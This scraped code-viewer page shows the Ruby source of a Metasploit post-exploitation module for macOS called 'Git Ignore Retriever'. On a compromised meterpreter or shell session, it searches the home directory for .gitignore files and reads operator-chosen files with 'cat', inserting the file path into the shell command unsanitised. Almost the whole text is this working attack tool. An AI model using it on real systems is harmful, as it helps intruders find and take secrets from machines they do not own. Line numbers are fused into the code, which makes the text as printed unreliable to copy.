Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/gather/gitignore.rb
Views: 11784
class MetasploitModule < Msf::Post1include Msf::Post::File2def initialize(info = {})3super(4update_info(5info,6'Name' => 'Git Ignore Retriever',7'Description' => %q{8This module finds potentially sensitive items by finding .gitignore files.9},10'License' => MSF_LICENSE,11'Author' => [ 'N!ght Jmp'],12'Platform' => [ 'osx' ],13'SessionTypes' => [ 'meterpreter', 'shell' ],14'Notes' => {15'Stability' => [CRASH_SAFE],16'SideEffects' => [IOC_IN_LOGS],17'Reliability' => []18}19)20)21register_options([22OptString.new('MODE', [false, 'Gitignore retrieval modes: 1). Find gitignore file locations. 2). Retrieve specific gitignore/file contents', '']),23OptString.new('FILE', [false, 'Filepath of gitignore/file to retrieve (For mode 2)', ''])24])25end2627def run28mode = datastore['MODE'].to_i29file = datastore['FILE']30if mode == 131print_status('Fetching .gitignore files')32gitlist = cmd_exec('find ~ -name ".gitignore" 2>/dev/null').chomp33for ignore in gitlist.split34print_good(ignore.to_s)35end36elsif mode == 237if !file.to_s.empty?38gitignore = cmd_exec("cat #{file}").chomp39print_good(file.to_s)40print_good(gitignore.to_s)41else42print_error('Please set the FILE path!')43end44end45end46end474849